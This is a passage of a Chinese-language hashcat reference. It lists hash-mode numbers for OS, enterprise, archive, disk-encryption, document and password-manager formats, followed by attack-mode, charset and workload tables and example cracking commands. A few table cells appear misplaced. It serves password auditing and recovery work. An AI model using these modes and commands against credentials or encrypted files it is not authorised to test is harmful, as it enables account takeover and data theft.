1000 | NTLM | 操作系统 |
1100 | Domain Cached Credentials (DCC), MS Cache | 操作系统 |
2100 | Domain Cached Credentials 2 (DCC2), MS Cache 2 | 操作系统 |
12800 | MS-AzureSync PBKDF2-HMAC-SHA256 | 操作系统 |
1500 | descrypt, DES (Unix), Traditional DES | 操作系统 |
12400 | BSDiCrypt, Extended DES | 操作系统 |
500 | md5crypt, MD5 (Unix), Cisco-IOS (MD5) | 操作系统 |
3200 | bcrypt , Blowfish (Unix) | 操作系统 |
7400 | sha256crypt , SHA256 (Unix) | 操作系统 |
1800 | sha512crypt , SHA512 (Unix) | 操作系统 |
122 | OSX v10.4, OSX v10.5, OSX v10.6 | 操作系统 |
1722 | OSX v10.7 | 操作系统 |
7100 | OSX v10.8+ (PBKDF2-SHA512) | 操作系统 |
6300 | AIX {smd5} | 操作系统 |
6700 | AIX {ssha1} | 操作系统 |
6400 | AIX {ssha256} | 操作系统 |
6500 | AIX {ssha512} | 操作系统 |
2400 | Cisco-PIX MD5 | 操作系统 |
2410 | Cisco-ASA MD5 | 操作系统 |
500 | Cisco-IOS (MD5) | 操作系统 |
5700 | Cisco-IOS type 4 (SHA256) | 操作系统 |
9200 | Cisco-IOS (PBKDF2-SHA256) | 操作系统 |
9300 | Cisco-IOS (scrypt) | 操作系统 |
22 | Juniper NetScreen/SSG (ScreenOS) | 操作系统 |
501 | Juniper IVE | 操作系统 |
15100 | Juniper/NetBSD sha1crypt | 操作系统 |
7000 | FortiGate (FortiOS) | 操作系统 |
5800 | Samsung Android Password/PIN | 操作系统 |
13800 | Windows Phone 8+ PIN/password | 操作系统 |
8100 | Citrix NetScaler | 操作系统 |
8500 | RACF | 操作系统 |
7200 | GRUB 2 | 操作系统 |
9900 | Radmin2 | 操作系统 |
125 | ArubaOS | 操作系统 |
7700 | SAP CODVN B (BCODE) | 企业应用软件(EAS) |
7800 | SAP CODVN F/G (PASSCODE) | 企业应用软件(EAS) |
10300 | SAP CODVN H (PWDSALTEDHASH) iSSHA-1 | 企业应用软件(EAS) |
8600 | Lotus Notes/Domino 5 | 企业应用软件(EAS) |
8700 | Lotus Notes/Domino 6 | 企业应用软件(EAS) |
9100 | Lotus Notes/Domino 8 | 企业应用软件(EAS) |
133 | PeopleSoft | 企业应用软件(EAS) |
13500 | PeopleSoft PS_TOKEN | 企业应用软件(EAS) |
11600 | 7-Zip | 压缩/存档 |
12500 | RAR3-hp | 压缩/存档 |
13000 | RAR5 | 压缩/存档 |
13200 | AxCrypt | 压缩/存档 |
13300 | AxCrypt in-memory SHA1 | 压缩/存档 |
13600 | WinZip | 压缩/存档 |
14700 | iTunes 备份 < 10.0 | 备份 |
14800 | iTunes 备份 >= 10.0 | 备份 |
62XY | TrueCrypt | 全盘加密(FDE) |
X | 1 = PBKDF2-HMAC-RIPEMD160 | 全盘加密(FDE) |
X | 2 = PBKDF2-HMAC-SHA512 | 全盘加密(FDE) |
X | 3 = PBKDF2-HMAC-Whirlpool | 全盘加密(FDE) |
X | 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure AES | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure Serpent | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure AES | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure Serpent | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded AES-Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded Serpent-AES | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded Twofish-Serpent | 全盘加密(FDE) |
Y | 3 = XTS 1536 bit all | 全盘加密(FDE) |
8800 | Android FDE <= 4.3 | 全盘加密(FDE) |
12900 | Android FDE (Samsung DEK) | 全盘加密(FDE) |
12200 | eCryptfs | 全盘加密(FDE) |
137XY | VeraCrypt | 全盘加密(FDE) |
X | 1 = PBKDF2-HMAC-RIPEMD160 | 全盘加密(FDE) |
X | 2 = PBKDF2-HMAC-SHA512 | 全盘加密(FDE) |
X | 3 = PBKDF2-HMAC-Whirlpool | 全盘加密(FDE) |
X | 4 = PBKDF2-HMAC-RIPEMD160 + boot-mode | 全盘加密(FDE) |
X | 5 = PBKDF2-HMAC-SHA256 | 全盘加密(FDE) |
X | 6 = PBKDF2-HMAC-SHA256 + boot-mode | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure AES | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure Serpent | 全盘加密(FDE) |
Y | 1 = XTS 512 bit pure Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure AES | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure Serpent | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit pure Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded AES-Twofish | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded Serpent-AES | 全盘加密(FDE) |
Y | 2 = XTS 1024 bit cascaded Twofish-Serpent | 全盘加密(FDE) |
Y | 3 = XTS 1536 bit all | 全盘加密(FDE) |
14600 | LUKS | 全盘加密(FDE) |
9700 | MS Office <= 2003 1, MD5 + RC4 | 文档 |
9710 | MS Office <= 2003 1, MD5 + RC4, collider #1 | 文档 |
9720 | MS Office <= 2003 1, MD5 + RC4, collider #2 | 文档 |
9800 | MS Office <= 2003 4, SHA1 + RC4 | 文档 |
9810 | MS Office <= 2003 4, SHA1 + RC4, collider #1 | 文档 |
9820 | MS Office <= 2003 4, SHA1 + RC4, collider #2 | 文档 |
9400 | MS Office 2007 | 文档 |
9500 | MS Office 2010 | 文档 |
9600 | MS Office 2013 | 文档 |
10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | 文档 |
10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | 文档 |
10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | 文档 |
10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | 文档 |
10600 | PDF 1.7 Level 3 (Acrobat 9) | 文档 |
10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | 文档 |
9000 | Password Safe v2 | 密码管理软件 |
5200 | Password Safe v3 | 密码管理软件 |
6800 | LastPass + LastPass sniffed | 密码管理软件 |
6600 | 1Password, agilekeychain | 密码管理软件 |
8200 | 1Password, cloudkeychain | 密码管理软件 |
11300 | Bitcoin/Litecoin wallet.dat | 密码管理软件 |
12700 | Blockchain, My Wallet | 密码管理软件 |
13400 | KeePass 1 (AES/Twofish) and KeePass 2 (AES) | 密码管理软件 |
99999 | Plaintext | Blockchain明文,我的钱包 |
③ 输出格式
编号 | 格式 |
---|---|
1 | hash[:salt] |
2 | plain |
3 | hash[:salt]:plain |
4 | hex_plain |
5 | hash[:salt]:hex_plain |
6 | plain:hex_plain |
7 | hash[:salt]:plain:hex_plain |
8 | crackpos |
9 | hash[:salt]:crack_pos |
10 | plain:crack_pos |
11 | hash[:salt]:plain:crack_pos |
12 | hex_plain:crack_pos |
13 | hash[:salt]:hex_plain:crack_pos |
14 | plain:hex_plain:crack_pos |
15 | hash[:salt]:plain:hex_plain:crack_pos |
④ 调试模式规则
编号 | 格式 |
---|---|
1 | 查找规则 |
2 | 原始词 |
3 | 原始词:查找规则 |
4 | 原始词:查找规则:已处理词 |
⑤ 攻击模式
编号 | 模式 |
---|---|
0 | 直接 |
1 | 组合 |
3 | 暴力穷举 |
6 | 混合 字典 + 掩码 |
7 | 混合 掩码 + 字典 |
⑥ 内置字符集
? | 字符集 | |
---|---|---|
l | abcdefghijklmnopqrstuvwxyz | |
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ | |
d | 0123456789 | |
h | 0123456789abcdef | |
H | 0123456789ABCDEF | |
s | !"#$%&'()*+,-./:;<=>?@[]^_`{ | }~ |
a | ?l?u?d?s | |
b | 0x00 - 0xff |
⑦ OpenCL设备类型
编号 | 设备类型 |
---|---|
1 | CPU |
2 | GPU |
3 | 现场可编程门阵列(FPGA),数字信号处理器(DSP),协处理器(Co-Processor) |
⑧ 工作负载配置文件
编号 | 性能 | 运行时间 | 能量消耗 | 桌面影响 |
---|---|---|---|---|
1 | 低 | 2 ms | 低 | 最小 |
2 | 默认 | 12 ms | 经济型 | 可察觉 |
3 | 高 | 96 ms | 高 | 没有反应 |
4 | 噩梦 | 480 ms | 疯狂的 | 无法控制 |
⑨ 基本用例
攻击模式 | Hash种类 | 示例命令 |
---|---|---|
字典 | hashcat -a 0 -m 400 example400.hash example.dict | |
字典+规则 | MD5 | hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule |
暴力穷举 | MD5 | hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a |
组合 | MD5 | hashcat -a 1 -m 0 example0.hash example.dict example.dict |